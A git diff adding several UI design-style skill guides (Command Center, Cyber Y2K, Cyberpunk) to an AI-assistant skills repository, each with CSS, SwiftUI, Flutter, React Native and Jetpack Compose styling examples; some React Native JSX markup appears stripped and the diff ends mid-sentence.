+.block-yellow { background-color: #FACC15; } +.block-white { background-color: #FFFFFF; } +.block-blue { background-color: #2563EB; color: #FFF; } +.block-red { background-color: #EF4444; } + +.block-title { + font-size: 3rem; + font-weight: 900; + text-transform: uppercase; + margin: 0; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct ColorBlockingView: View { + let gridSpacing: CGFloat = 4 // Thickness of the black lines + + var body: some View { + // Black background acts as the grid lines between blocks + VStack(spacing: gridSpacing) { + // Top Row + HStack(spacing: gridSpacing) { + ColorBlock(color: .yellow, text: "CREATE", textColor: .black) + ColorBlock(color: .blue, text: "VISION", textColor: .white) + } + .frame(height: 300) + + // Bottom Row + HStack(spacing: gridSpacing) { + ColorBlock(color: .red, text: "BOLD", textColor: .white) + .frame(width: 120) // Fixed narrow block + ColorBlock(color: .white, text: "MINIMAL", textColor: .black) + } + } + .background(Color.black) // The grid lines + .border(Color.black, width: gridSpacing) // Outer border + .ignoresSafeArea() + } +} + +struct ColorBlock: View { + let color: Color + let text: String + let textColor: Color + var body: some View { + color + .overlay( + Text(text) + .font(.system(size: 32, weight: .black)) + .foregroundColor(textColor) + .padding(), + alignment: .bottomLeading + ) + } +} +``` +- In SwiftUI, the easiest way to create Mondrian-style thick black grid lines is to set `.background(Color.black)` on the parent stack and use `spacing: 4`. The background peeks through the gaps. +- `.ignoresSafeArea()` allows the blocks to bleed to the edge of the physical device. + +### Flutter +```dart +class ColorBlockingScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + // Black background creates the grid lines + backgroundColor: Colors.black, + body: SafeArea( + bottom: false, + child: Column( + children: [ + // Top Row + Expanded( + flex: 3, // 3/5 of vertical space + child: Row( + children: [ + Expanded(flex: 1, child: ColorBlock(color: const Color(0xFFFACC15), text: 'CREATE', textColor: Colors.black)), + const SizedBox(width: 4), // Grid line + Expanded(flex: 2, child: ColorBlock(color: const Color(0xFF2563EB), text: 'VISION', textColor: Colors.white)), + ], + ), + ), + const SizedBox(height: 4), // Horizontal grid line + // Bottom Row + Expanded( + flex: 2, // 2/5 of vertical space + child: Row( + children: [ + Expanded(flex: 1, child: ColorBlock(color: const Color(0xFFEF4444), text: 'BOLD', textColor: Colors.white)), + const SizedBox(width: 4), + Expanded(flex: 2, child: ColorBlock(color: Colors.white, text: 'MINIMAL', textColor: Colors.black)), + ], + ), + ), + ], + ), + ), + ); + } +} + +class ColorBlock extends StatelessWidget { + final Color color; + final String text; + final Color textColor; + const ColorBlock({required this.color, required this.text, required this.textColor}); + + @override + Widget build(BuildContext context) { + return Container( + color: color, + padding: const EdgeInsets.all(24), + alignment: Alignment.bottomLeft, + child: Text(text, style: TextStyle(fontSize: 32, fontWeight: FontWeight.w900, color: textColor)), + ); + } +} +``` +- Use `Expanded` with varying `flex` factors to divide the screen geometrically. +- Insert `SizedBox(width: 4)` or `height: 4` between rows and columns to expose the black `Scaffold` background, creating the grid lines. + +### React Native +```jsx +const ColorBlockingScreen = () => { + return ( + + {/* Top Row */} + + + CREATE + + + VISION + + + + {/* Bottom Row */} + + + BOLD + + + MINIMAL + + + + ); +}; + +const styles = StyleSheet.create({ + block: { + justifyContent: 'flex-end', + padding: 24, + }, + text: { + fontSize: 32, + fontWeight: '900', + fontFamily: 'SpaceGrotesk-Bold', + } +}); +``` +- The `gap` property in React Native flexbox makes this trivial. Set a black background on the parent, set `gap: 4`, and the children automatically space out, revealing the thick black lines. +- Use `flex: 1`, `flex: 2` etc. to determine block proportions. + +### Jetpack Compose +```kotlin +@Composable +fun ColorBlockingScreen() { + val gridSpacing = 4.dp + + Column( + modifier = Modifier + .fillMaxSize() + .background(Color.Black) // Grid lines + ) { + // Top Row + Row( + modifier = Modifier.weight(3f), + horizontalArrangement = Arrangement.spacedBy(gridSpacing) + ) { + ColorBlock(Color(0xFFFACC15), "CREATE", Color.Black, Modifier.weight(1f)) + ColorBlock(Color(0xFF2563EB), "VISION", Color.White, Modifier.weight(2f)) + } + + Spacer(Modifier.height(gridSpacing)) + + // Bottom Row + Row( + modifier = Modifier.weight(2f), + horizontalArrangement = Arrangement.spacedBy(gridSpacing) + ) { + ColorBlock(Color(0xFFEF4444), "BOLD", Color.White, Modifier.weight(1f)) + ColorBlock(Color.White, "MINIMAL", Color.Black, Modifier.weight(2f)) + } + } +} + +@Composable +fun ColorBlock(color: Color, text: String, textColor: Color, modifier: Modifier = Modifier) { + Box( + modifier = modifier + .fillMaxHeight() + .background(color) + .padding(24.dp), + contentAlignment = Alignment.BottomStart + ) { + Text(text, fontSize = 32.sp, fontWeight = FontWeight.Black, color = textColor) + } +} +``` +- Like other mobile frameworks, `Modifier.background(Color.Black)` combined with `Arrangement.spacedBy(4.dp)` perfectly creates the Mondrian grid. +- Use `Modifier.weight(Xf)` to mathematically divide the screen real estate. + +## Do's and Don'ts +- **DO**: Ensure extreme contrast. Text on a yellow block should be black. Text on a dark blue block should be white. +- **DON'T**: Use drop shadows, rounded corners, or gradients. Keep it completely flat and sharp. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/command-center-ui/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/command-center-ui/SKILL.md new file mode 100644 index 00000000..2a4e07af --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/command-center-ui/SKILL.md @@ -0,0 +1,345 @@ +--- +name: command-center-ui +description: Web and App implementation guide for Command Center UI. Trigger when user wants monitoring systems, enterprise dashboards, NOCs, and global maps. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Command Center UI + +> "Mission Control. Global monitoring, real-time alerts, and high-stakes data visualization." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Dark/Black Backgrounds**: Essential for a room full of glowing monitors (NOCs). It makes the data pop and reduces glare. +2. **Maps & Topologies**: The center of the UI is almost always a dark-mode geographical map or a node-based network topology. +3. **Alert Hierarchy**: 90% of the screen is calm and blue/grey. When a warning happens, it flashes bright amber or red to immediately draw the eye. + +## Visual DNA +- **Colors**: Pure black (`#000000`) or deep navy (`#0B132B`). Accents are electric cyan (`#00FFFF`), amber (`#FFBF00`), and critical red (`#FF0000`). +- **Typography**: Clean, tech-focused sans-serifs (`Orbitron`, `Roboto`, `Share Tech`). +- **Styling**: Glowing borders, radar sweeps, and stark, data-driven charts. + +## Web Implementation +- **CSS Example**: +```css +body { + background-color: #030a16; + color: #8ab4f8; + font-family: 'Roboto', sans-serif; + margin: 0; + display: grid; + grid-template-columns: 300px 1fr 300px; + height: 100vh; +} + +.panel { + background-color: rgba(13, 27, 42, 0.8); + border: 1px solid #1c355e; + box-shadow: inset 0 0 20px rgba(0, 255, 255, 0.05); + margin: 10px; + display: flex; + flex-direction: column; +} + +.panel-header { + background: linear-gradient(90deg, #1c355e, transparent); + color: #00ffff; + padding: 8px 16px; + font-weight: bold; + text-transform: uppercase; + letter-spacing: 2px; + border-bottom: 1px solid #00ffff; +} + +/* The Map/Center view */ +.main-view { + /* Placeholder for a massive globe or map */ + background: radial-gradient(circle, #0d1b2a 0%, #030a16 100%); + position: relative; +} + +/* Critical Alert */ +.alert-critical { + background-color: rgba(255, 0, 0, 0.1); + border: 1px solid #ff0000; + color: #ff0000; + box-shadow: 0 0 10px rgba(255, 0, 0, 0.5); + animation: pulse-red 2s infinite; +} + +@keyframes pulse-red { + 0% { box-shadow: 0 0 5px rgba(255, 0, 0, 0.2); } + 50% { box-shadow: 0 0 20px rgba(255, 0, 0, 0.8); } + 100% { box-shadow: 0 0 5px rgba(255, 0, 0, 0.2); } +} +``` + +## App Implementation + +### SwiftUI +```swift +struct CommandCenterView: View { + @State private var isAlerting = false + + var body: some View { + VStack(spacing: 16) { + // Header + HStack { + Text("GLOBAL_OPS // ALPHA") + .font(.custom("Orbitron", size: 20)) + .foregroundColor(Color(red: 0.0, green: 1.0, blue: 1.0)) // Cyan + Spacer() + Text(Date(), style: .time).foregroundColor(.gray) + } + .padding() + .border(Color(red: 0.0, green: 1.0, blue: 1.0), width: 1) + + // Map or main visual placeholder + Circle() + .strokeBorder( + LinearGradient(colors: [.cyan, .blue], startPoint: .top, endPoint: .bottom), + lineWidth: 2 + ) + .frame(height: 250) + .overlay(Text("TOPOLOGY SCAN").foregroundColor(.cyan.opacity(0.5))) + + // Critical Alert Panel + VStack(alignment: .leading) { + Text("WARNING: SECTOR 7G") + .font(.headline) + .foregroundColor(.red) + Text("Anomalous activity detected.") + .font(.subheadline) + .foregroundColor(.white) + } + .padding() + .frame(maxWidth: .infinity, alignment: .leading) + .background(Color.red.opacity(0.1)) + .border(Color.red, width: 2) + .shadow(color: isAlerting ? .red : .clear, radius: 10) + } + .padding() + .frame(maxWidth: .infinity, maxHeight: .infinity) + .background(Color(red: 0.01, green: 0.04, blue: 0.09)) // Very dark navy + .onAppear { + withAnimation(.easeInOut(duration: 1.0).repeatForever()) { + isAlerting.toggle() + } + } + } +} +``` +- Rely heavily on `.border()` and `.strokeBorder()` combined with gradients to create technical, glowing wireframes. +- Use `.shadow()` animated continuously for pulse alerts. + +### Flutter +```dart +class CommandCenterScreen extends StatefulWidget { + @override + State createState() => _CommandCenterScreenState(); +} + +class _CommandCenterScreenState extends State with SingleTickerProviderStateMixin { + late AnimationController _pulseController; + + @override + void initState() { + super.initState(); + _pulseController = AnimationController(vsync: this, duration: const Duration(seconds: 1))..repeat(reverse: true); + } + + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFF030A16), // Dark NOC background + body: SafeArea( + child: Padding( + padding: const EdgeInsets.all(16.0), + child: Column( + crossAxisAlignment: CrossAxisAlignment.stretch, + children: [ + // Panel Header + Container( + padding: const EdgeInsets.all(12), + decoration: const BoxDecoration( + border: Border(bottom: BorderSide(color: Colors.cyan)), + gradient: LinearGradient(colors: [Color(0xFF1C355E), Colors.transparent]), + ), + child: const Text('GLOBAL_OPS // ALPHA', + style: TextStyle(color: Colors.cyan, fontFamily: 'Orbitron', letterSpacing: 2)), + ), + const SizedBox(height: 24), + // Map Placeholder + Expanded( + child: Container( + decoration: BoxDecoration( + shape: BoxShape.circle, + border: Border.all(color: Colors.cyan.withOpacity(0.5), width: 2), + ), + child: const Center(child: Text('RADAR ACTIVE', style: TextStyle(color: Colors.cyan))), + ), + ), + const SizedBox(height: 24), + // Animated Critical Alert + AnimatedBuilder( + animation: _pulseController, + builder: (context, child) { + return Container( + padding: const EdgeInsets.all(16), + decoration: BoxDecoration( + color: Colors.red.withOpacity(0.1), + border: Border.all(color: Colors.red), + boxShadow: [ + BoxShadow(color: Colors.red.withOpacity(_pulseController.value * 0.8), blurRadius: 20) + ], + ), + child: const Text('WARNING: SECTOR 7G', style: TextStyle(color: Colors.red, fontWeight: FontWeight.bold)), + ); + }, + ), + ], + ), + ), + ), + ); + } +} +``` +- A `Container` with a `LinearGradient` that fades to `Colors.transparent` is excellent for high-tech headers. +- Use `AnimatedBuilder` to manipulate the `blurRadius` and opacity of `BoxShadow` to create flashing alert panels. + +### React Native +```jsx +const CommandCenterScreen = () => { + const pulseAnim = useRef(new Animated.Value(0)).current; + + useEffect(() => { + Animated.loop( + Animated.sequence([ + Animated.timing(pulseAnim, { toValue: 1, duration: 1000, useNativeDriver: false }), + Animated.timing(pulseAnim, { toValue: 0, duration: 1000, useNativeDriver: false }) + ]) + ).start(); + }, []); + + const shadowOpacity = pulseAnim.interpolate({ inputRange: [0, 1], outputRange: [0.2, 1] }); + + return ( + + {/* Header Panel */} + + + GLOBAL_OPS // ALPHA + + + + + + SCANNING... + + + + {/* Critical Alert */} + + WARNING: SECTOR 7G + Anomalous activity detected. + + + ); +}; +``` +- Rely on sharp 1px or 2px borders with bright hex values (`#00FFFF`, `#FF0000`) instead of border radii. +- Keep backgrounds extremely dark navy (`#030A16`) rather than pure black to avoid OLED smearing while maintaining the NOC feel. + +### Jetpack Compose +```kotlin +@Composable +fun CommandCenterScreen() { + val infiniteTransition = rememberInfiniteTransition() + val pulseAlpha by infiniteTransition.animateFloat( + initialValue = 0.2f, + targetValue = 1.0f, + animationSpec = infiniteRepeatable( + animation = tween(1000, easing = LinearEasing), + repeatMode = RepeatMode.Reverse + ) + ) + + Column( + modifier = Modifier + .fillMaxSize() + .background(Color(0xFF030A16)) + .padding(16.dp) + ) { + // Header + Box( + modifier = Modifier + .fillMaxWidth() + .background(Brush.horizontalGradient(listOf(Color(0xFF1C355E), Color.Transparent))) + .border(width = 1.dp, color = Color.Cyan) // Simplified border + .padding(12.dp) + ) { + Text("GLOBAL_OPS // ALPHA", color = Color.Cyan, fontFamily = FontFamily.Monospace, letterSpacing = 2.sp) + } + + Spacer(Modifier.height(32.dp)) + + // Main Visual + Box( + modifier = Modifier + .weight(1f) + .fillMaxWidth(), + contentAlignment = Alignment.Center + ) { + Box( + modifier = Modifier + .size(250.dp) + .border(2.dp, Color.Cyan.copy(alpha = 0.5f), CircleShape), + contentAlignment = Alignment.Center + ) { + Text("SCANNING...", color = Color.Cyan.copy(alpha = 0.5f)) + } + } + + Spacer(Modifier.height(32.dp)) + + // Critical Alert + Column( + modifier = Modifier + .fillMaxWidth() + .shadow(20.dp, spotColor = Color.Red.copy(alpha = pulseAlpha), ambientColor = Color.Red.copy(alpha = pulseAlpha)) + .background(Color.Red.copy(alpha = 0.1f)) + .border(2.dp, Color.Red) + .padding(16.dp) + ) { + Text("WARNING: SECTOR 7G", color = Color.Red, fontWeight = FontWeight.Bold, fontSize = 18.sp) + Text("Anomalous activity detected.", color = Color.White) + } + } +} +``` +- Compose handles neon interfaces very well. Use `Modifier.border(..., CircleShape)` for radar rings. +- To make a container glow in Compose, you must use `Modifier.shadow` with the `spotColor` and `ambientColor` set to your neon color, bypassing the default black shadow. + +## Do's and Don'ts +- **DO**: Create a distinct visual rhythm. The screen should feel calm until a specific alert requires attention. +- **DON'T**: Fill the screen with bright, solid white panels. A command center should glow softly, not blind the user. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/cyber-y2k/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/cyber-y2k/SKILL.md new file mode 100644 index 00000000..fec311cd --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/cyber-y2k/SKILL.md @@ -0,0 +1,312 @@ +--- +name: cyber-y2k +description: Web and App implementation guide for Cyber Y2K. Trigger when user wants modern Y2K, holographic visuals, and glitch aesthetics. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Cyber Y2K + +> "Y2K, but seen through a distorted, modern lens. Darker, glitchier, and highly holographic." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Holographic Gradients**: Iridescent, oil-slick color palettes that shift as you move. +2. **Glitch Art**: Text or images that appear corrupted, split into RGB channels, or stutter. +3. **Tribal & Tribal-Tech Vectors**: Sharp, aggressive vector graphics (think early 2000s tribal tattoos mixed with circuit boards). + +## Visual DNA +- **Colors**: Deep black background. Highlights are holographic (purple, cyan, lime green, hot pink all mixed into fluid gradients). +- **Typography**: Extremely bold, stretched fonts, or highly technical monospace fonts. +- **Visuals**: CD-ROM reflections, barbed wire graphics, and heavy chromatic aberration. + +## Web Implementation +- Use CSS animations for glitching and animated background gradients. +- **CSS Example**: +```css +body { + background-color: #050505; + color: #fff; +} + +/* Holographic button */ +.cyber-y2k-btn { + background: linear-gradient(124deg, #ff2400, #e81d1d, #e8b71d, #e3e81d, #1de840, #1ddde8, #2b1de8, #dd00f3, #dd00f3); + background-size: 1800% 1800%; + animation: rainbow 18s ease infinite; + + color: #fff; + font-weight: 900; + text-transform: uppercase; + border: 1px solid rgba(255,255,255,0.5); + border-radius: 30px; + padding: 16px 32px; + mix-blend-mode: screen; /* Makes it interact with background */ +} + +@keyframes rainbow { + 0%{background-position:0% 82%} + 50%{background-position:100% 19%} + 100%{background-position:0% 82%} +} + +/* RGB Split text effect */ +.glitch-text { + position: relative; + font-family: 'Courier New', monospace; + font-size: 3rem; + font-weight: bold; +} +.glitch-text::before, .glitch-text::after { + content: attr(data-text); + position: absolute; + top: 0; left: 0; + opacity: 0.8; +} +.glitch-text::before { + color: #0ff; + z-index: -1; + transform: translate(-3px, 2px); +} +.glitch-text::after { + color: #f0f; + z-index: -2; + transform: translate(3px, -2px); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct CyberY2KView: View { + @State private var rotation: Double = 0 + + var body: some View { + ZStack { + Color.black.ignoresSafeArea() + + VStack(spacing: 40) { + // Glitch Text + ZStack { + Text("SYSTEM.ERROR") + .font(.custom("Courier New", size: 40).bold()) + .foregroundColor(.cyan) + .offset(x: -3, y: 2) // RGB split channel 1 + + Text("SYSTEM.ERROR") + .font(.custom("Courier New", size: 40).bold()) + .foregroundColor(.pink) + .offset(x: 3, y: -2) // RGB split channel 2 + + Text("SYSTEM.ERROR") + .font(.custom("Courier New", size: 40).bold()) + .foregroundColor(.white) + } + + // Holographic Button + Button(action: {}) { + Text("ENTER MATRIX") + .font(.headline.weight(.black)) + .foregroundColor(.white) + .padding(.horizontal, 32) + .padding(.vertical, 16) + .background( + AngularGradient( + gradient: Gradient(colors: [.red, .yellow, .green, .cyan, .blue, .purple, .red]), + center: .center, + angle: .degrees(rotation) + ) + ) + .cornerRadius(30) + .overlay(RoundedRectangle(cornerRadius: 30).stroke(Color.white.opacity(0.5), lineWidth: 1)) + } + .onAppear { + withAnimation(.linear(duration: 5).repeatForever(autoreverses: false)) { + rotation = 360 + } + } + } + } + } +} +``` +- The RGB Glitch effect is incredibly simple in SwiftUI: stack three identical `Text` views in a `ZStack`. Give the bottom ones `.cyan` and `.pink` colors and slightly `.offset()` them. +- Use an `AngularGradient` bound to a rotating `@State` variable to achieve the iridescent CD-ROM holographic effect. + +### Flutter +```dart +class CyberY2KScreen extends StatefulWidget { + @override + State createState() => _CyberY2KScreenState(); +} + +class _CyberY2KScreenState extends State with SingleTickerProviderStateMixin { + late AnimationController _controller; + + @override + void initState() { + super.initState(); + _controller = AnimationController(vsync: this, duration: const Duration(seconds: 5))..repeat(); + } + + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.black, + body: Center( + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + // Glitch Text + Stack( + children: [ + Transform.translate(offset: const Offset(-3, 2), child: const Text('SYSTEM.ERROR', style: TextStyle(color: Colors.cyan, fontSize: 40, fontFamily: 'Courier', fontWeight: FontWeight.bold))), + Transform.translate(offset: const Offset(3, -2), child: const Text('SYSTEM.ERROR', style: TextStyle(color: Colors.pinkAccent, fontSize: 40, fontFamily: 'Courier', fontWeight: FontWeight.bold))), + const Text('SYSTEM.ERROR', style: TextStyle(color: Colors.white, fontSize: 40, fontFamily: 'Courier', fontWeight: FontWeight.bold)), + ], + ), + const SizedBox(height: 60), + // Holographic Button via ShaderMask + AnimatedBuilder( + animation: _controller, + builder: (context, child) { + return ShaderMask( + shaderCallback: (Rect bounds) { + return SweepGradient( + colors: const [Colors.red, Colors.yellow, Colors.green, Colors.cyan, Colors.blue, Colors.purple, Colors.red], + transform: GradientRotation(_controller.value * 2 * 3.14159), // Rotate through 360 degrees + ).createShader(bounds); + }, + child: Container( + decoration: BoxDecoration( + color: Colors.white, // Color to be masked by shader + borderRadius: BorderRadius.circular(30), + border: Border.all(color: Colors.white.withOpacity(0.5)), + ), + padding: const EdgeInsets.symmetric(horizontal: 32, vertical: 16), + child: const Text('ENTER MATRIX', style: TextStyle(color: Colors.black, fontWeight: FontWeight.w900)), + ), + ); + }, + ), + ], + ), + ), + ); + } +} +``` +- In Flutter, a `ShaderMask` with a `SweepGradient` attached to an `AnimationController` creates a perfect, performant oil-slick holographic effect over any widget. +- Use `Stack` and `Transform.translate` to build the RGB glitch text. + +### React Native +```jsx +// Requires react-native-linear-gradient for complex gradients +import LinearGradient from 'react-native-linear-gradient'; + +const GlitchText = ({ text }) => { + const baseStyle = { fontSize: 40, fontFamily: 'Courier', fontWeight: 'bold', position: 'absolute' }; + return ( + + {text} + {text} + {text} + + ); +}; + +const CyberY2KScreen = () => { + return ( + + + + + {/* React Native cannot easily animate gradient angles natively. + Use a complex LinearGradient to simulate the iridescent shine. */} + + ENTER MATRIX + + + + ); +}; +``` +- Stacked absolute `` nodes handle the RGB split glitch well. +- True animating holographic gradients (like Sweep/Angular) require `@shopify/react-native-skia`. If Skia is unavailable, use a static multi-stop `LinearGradient` as a fallback. + +### Jetpack Compose +```kotlin +@Composable +fun GlitchText(text: String) { + Box(contentAlignment = Alignment.Center) { + Text(text, color = Color.Cyan, fontSize = 40.sp, fontFamily = FontFamily.Monospace, fontWeight = FontWeight.Bold, + modifier = Modifier.offset(x = (-3).dp, y = 2.dp)) + Text(text, color = Color.Magenta, fontSize = 40.sp, fontFamily = FontFamily.Monospace, fontWeight = FontWeight.Bold, + modifier = Modifier.offset(x = 3.dp, y = (-2).dp)) + Text(text, color = Color.White, fontSize = 40.sp, fontFamily = FontFamily.Monospace, fontWeight = FontWeight.Bold) + } +} + +@Composable +fun CyberY2KScreen() { + val infiniteTransition = rememberInfiniteTransition() + val rotation by infiniteTransition.animateFloat( + initialValue = 0f, + targetValue = 360f, + animationSpec = infiniteRepeatable( + animation = tween(5000, easing = LinearEasing) + ) + ) + + Column( + modifier = Modifier.fillMaxSize().background(Color.Black), + horizontalAlignment = Alignment.CenterHorizontally, + verticalArrangement = Arrangement.Center + ) { + GlitchText("SYSTEM.ERROR") + + Spacer(Modifier.height(60.dp)) + + // Holographic Button + Box( + modifier = Modifier + .background( + brush = Brush.sweepGradient( + colors = listOf(Color.Red, Color.Yellow, Color.Green, Color.Cyan, Color.Blue, Color.Magenta, Color.Red), + center = Offset.Unspecified + ), + shape = RoundedCornerShape(30.dp) + ) + .graphicsLayer { rotationZ = rotation } // Note: This rotates the whole button. + // To rotate ONLY the gradient brush requires custom ShaderBrush or drawing the rect manually in drawBehind with a rotating matrix. + .border(1.dp, Color.White.copy(alpha = 0.5f), RoundedCornerShape(30.dp)) + .padding(horizontal = 32.dp, vertical = 16.dp) + ) { + Text("ENTER MATRIX", color = Color.White, fontWeight = FontWeight.Black) + } + } +} +``` +- Like other frameworks, use a `Box` to stack text with `Modifier.offset()` for glitches. +- A `Brush.sweepGradient` creates the holographic CD-ROM colors, though rotating the brush *itself* (not the whole widget) in Compose requires a bit of advanced `Matrix` manipulation inside a `ShaderBrush`. + +## Do's and Don'ts +- **DO**: Incorporate UI elements that look like raw HTML/CSS (like visible tables or marquee tags) as an ironic nod to early web. +- **DON'T**: Use clean, modern geometric layouts. Cyber Y2K is chaotic and rebellious. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/cyberpunk-ui/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/cyberpunk-ui/SKILL.md new file mode 100644 index 00000000..f392e361 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/cyberpunk-ui/SKILL.md @@ -0,0 +1,262 @@ +--- +name: cyberpunk-ui +description: Web and App implementation guide for Cyberpunk UI. Trigger when user wants neon colors, dark backgrounds, high-tech dystopian aesthetics, and hacking interfaces. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Cyberpunk UI + +> "High tech, low life. Neon signs cutting through the smog of a dystopian megacity." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Neon on Black**: The foundation is absolute black (`#000000`) or deep charcoal, cut by searingly bright neon accents. +2. **Angled Geometries**: Clipped corners (chamfers) rather than rounded corners. UI elements often look like they were cut from metal plates. +3. **Glitch and Data**: Random streams of hexadecimal data, barcode accents, and intentional visual tearing. + +## Visual DNA +- **Colors**: Acid Yellow (`#FCE205`), Cyan (`#00FFFF`), Hot Pink (`#FF003C`), against Black. +- **Typography**: Industrial, squared-off sans-serifs (like `Rajdhani`, `Blender Pro`, or `Teko`), mixed with small monospace fonts for data. +- **Styling**: Diagonal stripes, warning tape patterns, and heavy outer glows. + +## Web Implementation +- Rely on `clip-path` for the angled cuts. +- **CSS Example**: +```css +body { + background-color: #050505; + color: #00FFFF; + font-family: 'Rajdhani', sans-serif; + background-image: repeating-linear-gradient( + 45deg, + #050505, + #050505 10px, + #0a0a0a 10px, + #0a0a0a 20px + ); +} + +.cyberpunk-button { + background-color: #FF003C; /* Cyberpunk Red/Pink */ + color: #FFF; + font-size: 1.5rem; + font-weight: bold; + text-transform: uppercase; + border: none; + padding: 16px 32px; + + /* The signature clipped corner */ + clip-path: polygon( + 0 0, + calc(100% - 15px) 0, + 100% 15px, + 100% 100%, + 15px 100%, + 0 calc(100% - 15px) + ); + + position: relative; + transition: all 0.2s ease; +} + +/* The glitch/shadow effect */ +.cyberpunk-button:hover { + background-color: #FCE205; /* Acid Yellow */ + color: #000; + box-shadow: + -4px 0 0 #00FFFF, + 4px 0 0 #FF003C; +} + +.data-stream { + font-family: monospace; + font-size: 0.8rem; + color: rgba(0, 255, 255, 0.5); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct CyberpunkShape: Shape { + let cutSize: CGFloat = 15 + func path(in rect: CGRect) -> Path { + var path = Path() + // Top left + path.move(to: CGPoint(x: 0, y: 0)) + // Top right (cut) + path.addLine(to: CGPoint(x: rect.maxX - cutSize, y: 0)) + path.addLine(to: CGPoint(x: rect.maxX, y: cutSize)) + // Bottom right + path.addLine(to: CGPoint(x: rect.maxX, y: rect.maxY)) + // Bottom left (cut) + path.addLine(to: CGPoint(x: cutSize, y: rect.maxY)) + path.addLine(to: CGPoint(x: 0, y: rect.maxY - cutSize)) + path.closeSubpath() + return path + } +} + +struct CyberButton: View { + var body: some View { + Button(action: {}) { + Text("SYS.OVERRIDE") + .font(.custom("Rajdhani", size: 24)) + .fontWeight(.bold) + .foregroundColor(.white) + .padding(.horizontal, 32) + .padding(.vertical, 16) + } + .background(Color(red: 1.0, green: 0.0, blue: 0.24)) // Cyberpunk Red + .clipShape(CyberpunkShape()) + .overlay( + CyberpunkShape() + .stroke(Color(red: 0.0, green: 1.0, blue: 1.0), lineWidth: 2) // Cyan border + ) + } +} +``` +- Define a custom `Shape` that physically cuts off the corners, bypassing standard `cornerRadius`. +- Use `.clipShape()` for the background, and `.overlay()` with `.stroke()` for high-tech borders. + +### Flutter +```dart +class CyberpunkClipper extends CustomClipper { + final double cutSize = 15.0; + + @override + Path getClip(Size size) { + Path path = Path(); + path.lineTo(size.width - cutSize, 0); // Top right cut start + path.lineTo(size.width, cutSize); // Top right cut end + path.lineTo(size.width, size.height); + path.lineTo(cutSize, size.height); // Bottom left cut start + path.lineTo(0, size.height - cutSize);// Bottom left cut end + path.close(); + return path; + } + + @override + bool shouldReclip(CustomClipper oldClipper) => false; +} + +class CyberButton extends StatelessWidget { + @override + Widget build(BuildContext context) { + return ClipPath( + clipper: CyberpunkClipper(), + child: Container( + color: const Color(0xFFFF003C), // Cyberpunk Red + padding: const EdgeInsets.symmetric(horizontal: 32, vertical: 16), + child: const Text( + 'SYS.OVERRIDE', + style: TextStyle( + color: Colors.white, + fontSize: 24, + fontWeight: FontWeight.bold, + fontFamily: 'Rajdhani', + ), + ), + ), + ); + } +} +``` +- Extend `CustomClipper` to calculate the precise angular cuts. +- Wrap your containers in `ClipPath`. +- For borders, you must use a `CustomPaint` with a `CustomPainter` that traces the exact same path. + +### React Native +```jsx +import Svg, { Polygon } from 'react-native-svg'; + +const CyberButton = () => { + return ( + + {/* Background SVG to achieve the clipped corner look */} + + + + + + + + SYS.OVERRIDE + + + ); +}; +``` +- React Native does not natively support clipping paths on views easily. +- **Solution**: Use `react-native-svg` to draw a `` that acts as the absolute-positioned background behind transparent text. + +### Jetpack Compose +```kotlin +class CyberpunkShape(private val cutSize: Dp) : Shape { + override fun createOutline( + size: Size, + layoutDirection: LayoutDirection, + density: Density + ): Outline { + val cutPx = with(density) { cutSize.toPx() } + val path = Path().apply { + moveTo(0f, 0f) + lineTo(size.width - cutPx, 0f) + lineTo(size.width, cutPx) + lineTo(size.width, size.height) + lineTo(cutPx, size.height) + lineTo(0f, size.height - cutPx) + close() + } + return Outline.Generic(path) + } +} + +@Composable +fun CyberButton() { + Box( + modifier = Modifier + .clip(CyberpunkShape(15.dp)) + .background(Color(0xFFFF003C)) + .border(2.dp, Color(0xFF00FFFF), CyberpunkShape(15.dp)) + .clickable { } + .padding(horizontal = 32.dp, vertical = 16.dp) + ) { + Text( + text = "SYS.OVERRIDE", + color = Color.White, + fontSize = 24.sp, + fontWeight = FontWeight.Bold, + // Assuming custom font is loaded + ) + } +} +``` +- Create a custom `Shape` by overriding `createOutline` and tracing the `Path`. +- Pass this shape directly into `Modifier.clip()` and `Modifier.background()`. +- You can elegantly apply a border stroke directly to the custom shape using `Modifier.border()`. + +## Do's and Don'ts +- **DO**: Include tiny, meaningless technical details (crosshairs, serial numbers, "SYS.OVERRIDE" text). +- **DON'T**: Use soft, organic curves or gradients. It must be sharp and aggressive. + +## Limitations +- This is a styling reference and 